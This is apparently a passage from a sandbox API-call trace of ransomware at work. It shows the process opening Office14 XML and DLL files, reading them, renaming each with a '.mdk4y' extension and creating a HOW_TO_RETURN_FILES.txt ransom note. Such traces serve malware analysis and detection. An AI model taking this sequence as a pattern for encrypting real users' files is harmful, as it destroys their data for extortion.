WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.ES.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.ES.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.365] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830759600000) returned 1 [0232.366] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x328, lpOverlapped=0x0) returned 1 [0232.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830759700000) returned 1 [0232.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830759700000) returned 1 [0232.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml.mdk4y")) returned 1 [0232.369] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.369] AreFileApisANSI () returned 1 [0232.369] GetACP () returned 0x4e4 [0232.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.FR.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.FR.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.369] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830760000000) returned 1 [0232.370] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x324, lpOverlapped=0x0) returned 1 [0232.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830760200000) returned 1 [0232.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830760200000) returned 1 [0232.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml.mdk4y")) returned 1 [0232.373] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.373] AreFileApisANSI () returned 1 [0232.373] GetACP () returned 0x4e4 [0232.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.HK.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.HK.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830760500000) returned 1 [0232.375] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0232.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830760600000) returned 1 [0232.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830760800000) returned 1 [0232.379] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml.mdk4y")) returned 1 [0232.380] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.380] AreFileApisANSI () returned 1 [0232.380] GetACP () returned 0x4e4 [0232.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.IE.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.IE.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.380] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830761100000) returned 1 [0232.381] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32a, lpOverlapped=0x0) returned 1 [0232.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830761200000) returned 1 [0232.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830761200000) returned 1 [0232.382] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml.mdk4y")) returned 1 [0232.383] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.383] AreFileApisANSI () returned 1 [0232.383] GetACP () returned 0x4e4 [0232.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.IT.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.IT.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.384] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830761400000) returned 1 [0232.384] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x324, lpOverlapped=0x0) returned 1 [0232.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830766500000) returned 1 [0232.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830767000000) returned 1 [0232.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml.mdk4y")) returned 1 [0232.442] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.442] AreFileApisANSI () returned 1 [0232.442] GetACP () returned 0x4e4 [0232.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.JP.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.JP.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.443] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830774800000) returned 1 [0232.519] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x331, lpOverlapped=0x0) returned 1 [0232.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830776200000) returned 1 [0232.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830776200000) returned 1 [0232.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml.mdk4y")) returned 1 [0232.537] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.537] AreFileApisANSI () returned 1 [0232.537] GetACP () returned 0x4e4 [0232.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.NO.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.NO.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.537] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830776800000) returned 1 [0232.538] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0232.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830776900000) returned 1 [0232.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830776900000) returned 1 [0232.539] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml.mdk4y")) returned 1 [0232.541] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.541] AreFileApisANSI () returned 1 [0232.541] GetACP () returned 0x4e4 [0232.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.PL.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.PL.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.541] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830777200000) returned 1 [0232.542] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0232.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830777300000) returned 1 [0232.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830777300000) returned 1 [0232.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml.mdk4y")) returned 1 [0232.545] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.545] AreFileApisANSI () returned 1 [0232.545] GetACP () returned 0x4e4 [0232.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.SE.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.SE.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0232.545] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830777700000) returned 1 [0232.547] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0232.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830777800000) returned 1 [0232.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830777800000) returned 1 [0232.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml.mdk4y")) returned 1 [0232.550] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0232.550] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0232.551] AreFileApisANSI () returned 1 [0232.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0232.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0232.552] GetFileType (hFile=0x12c) returned 0x1 [0232.553] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0232.553] AreFileApisANSI () returned 1 [0232.553] GetACP () returned 0x4e4 [0232.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLPH.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLPH.DLLoDiscover", lpUsedDefaultChar=0x37dfd8) returned 10 [0232.553] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlph.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0232.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830778500000) returned 1 [0232.555] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5f190, lpOverlapped=0x0) returned 1 [0232.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830783200000) returned 1 [0232.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830783200000) returned 1 [0232.606] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlph.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlph.dll.mdk4y")) returned 1 [0232.612] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0232.612] AreFileApisANSI () returned 1 [0232.612] GetACP () returned 0x4e4 [0232.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLRPC.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLRPC.DLLDiscover", lpUsedDefaultChar=0x37dfd8) returned 11 [0232.612] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlrpc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0232.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830784800000) returned 1 [0232.618] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xe558, lpOverlapped=0x0) returned 1 [0232.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830785100000) returned 1 [0232.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830785100000) returned 1 [0232.622] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlrpc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlrpc.dll.mdk4y")) returned 1 [0232.625] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0232.625] AreFileApisANSI () returned 1 [0232.625] GetACP () returned 0x4e4 [0232.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLVBS.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLVBS.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0232.625] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlvbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0232.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830785600000) returned 1 [0232.626] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x11770, lpOverlapped=0x0) returned 1 [0232.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830786500000) returned 1 [0232.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830786500000) returned 1 [0232.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlvbs.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlvbs.dll.mdk4y")) returned 1 [0232.638] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0232.638] AreFileApisANSI () returned 1 [0232.638] GetACP () returned 0x4e4 [0232.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PAGESIZE", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PAGESIZEDLL", lpUsedDefaultChar=0x37dfd8) returned 8 [0232.639] AreFileApisANSI () returned 1 [0232.639] GetACP () returned 0x4e4 [0232.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=52, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned 52 [0232.646] AreFileApisANSI () returned 1 [0232.646] GetACP () returned 0x4e4 [0232.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0232.647] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.647] AreFileApisANSI () returned 1 [0232.647] GetACP () returned 0x4e4 [0232.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0232.647] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.647] AreFileApisANSI () returned 1 [0232.647] GetACP () returned 0x4e4 [0232.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL001.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL001.XMLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 12 [0232.647] CreateFileA (lpFileName="C:\\Program 